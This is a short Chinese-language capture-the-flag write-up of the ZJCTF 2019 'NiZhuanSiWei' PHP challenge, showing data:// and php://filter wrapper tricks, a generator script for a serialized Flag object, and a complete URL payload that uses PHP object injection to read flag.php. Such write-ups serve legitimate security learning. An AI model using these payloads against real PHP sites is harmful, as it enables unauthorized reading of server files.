每日一题 —— [ZJCTF 2019]NiZhuanSiWei¶
打开题目,要求传入三个参数:text
, file
, password
。
首先是 file_get_contents($text,'r')==="welcome to the zjctf"
,说明我们需要让 text
参数被文件包含且含有内容 welcome to the zjctf
。我们直接使用 data 协议即可:
第二步,需要使用 file
参数包含一个文件,已提示文件名为 useless.php
。我们先利用 php://filter
伪协议,将它通过 base64 编码包含出来看一下源码:
得到源码:
useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
可以看到,这个文件中,有一个类 Flag
,其中会包含他的 $file
成员属性。但是只是一个类文件并没有什么用,我们需要利用他的反序列化特性,正好就在一开始的 index.php
中:
正好,我们可以删掉之前的 base64 编码,让 useless.php
直接被包含进入源码解析,与原有的 $password
变量的反序列化操作配合,达到包含 flag.php
文件的目的。
首先先把准备好的 $password
变量准备好,先序列化一个:
evil.php
<?php
class Flag{ //flag.php
public $file = "php://filter/convert.base64-encode/resource=flag.php";
}
$a = new Flag();
echo urlencode(serialize($a));
然后再配合之前的参数,最终 payload 如下:
?text=data://text/plain,welcome to the zjctf
&file=php://filter/resource=useless.php
&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D
注意 file
参数已经更改,没有 convert.base64-encode
编码了。
最后得到 flag.php
的文件源码的 base64 编码。直接解码即可。
文章热度:0次阅读